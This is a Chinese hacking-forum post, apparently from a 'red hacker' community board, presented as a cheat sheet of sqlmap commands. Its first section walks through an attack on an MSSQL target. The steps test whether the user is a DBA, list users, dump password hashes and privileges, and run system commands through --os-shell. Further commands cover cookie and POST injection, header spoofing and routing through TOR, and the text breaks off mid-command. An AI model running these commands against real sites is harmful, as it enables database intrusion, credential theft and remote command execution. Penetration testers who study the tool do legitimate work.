[工具使用] SQLmap实战

532 0
Honkers 2026-3-27 18:26:53 | 显示全部楼层 |阅读模式

1、实战mssql

  1. 判断注入类型 python sqlmap.py -u 注入点
  2. 判断当前用户是否是dba python sqlmap.py -u 注入点 --is-dba -v 1
  3. 列举数据库用户 python sqlmap.py -u 注入点 --users -v 0
  4. 列举数据库密码 python sqlmap.py -u 注入点 --passwords -v 0
  5. 查看用户权限 python sqlmap.py -u 注入点 --privileges -v 0
  6. 执行命令 python sqlmap.py -u 注入点 --os-shell -os-cmd=net user
复制代码

2、基本使用

  1. 执行SQL语句·python sqlmap.py -u 注入点 -v 1 --sql-shell
  2. 更详细的信息 python sqlmap.py -u 注入点 -v 5
  3. POST提交 python sqlmap.py -u 文件路径 --method POST --data 参数
  4. cookie提交 python sqlmap.py -u 文件路径 --cookie 参数 -v 1
  5. 使用referer欺骗 python sqlmap.py -u 注入点 --referer referer地址 -v 3
  6. 自定义user-agent 或者使用随机自带的user-agents.txt
  7. python sqlmap.py -u 注入点 --user-agent "自定义" -v 3
  8. python sqlmap.py -u 注入点 -v 1 -a "./txt/user-agents.txt"
  9. 使用基本认证 python sqlmap.py -u 注入点 --auth-type Basic --auth-cred "testuser:testpass" -v 3
  10. 使用Digest认证 python sqlmap.py -u 注入点 --auth-type Digest --auth-cred "testuser:testpass" -v 3
  11. 使用代理,配合TOR python sqlmap.py -u 注入点 --proxy 代理ip
  12. 使用多线程猜解 python sqlmap.py -u 注入点 -v 1 --current-user --threads 3
  13. 绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
复制代码

页面比较
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --regexp “lu[\w][\w]

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行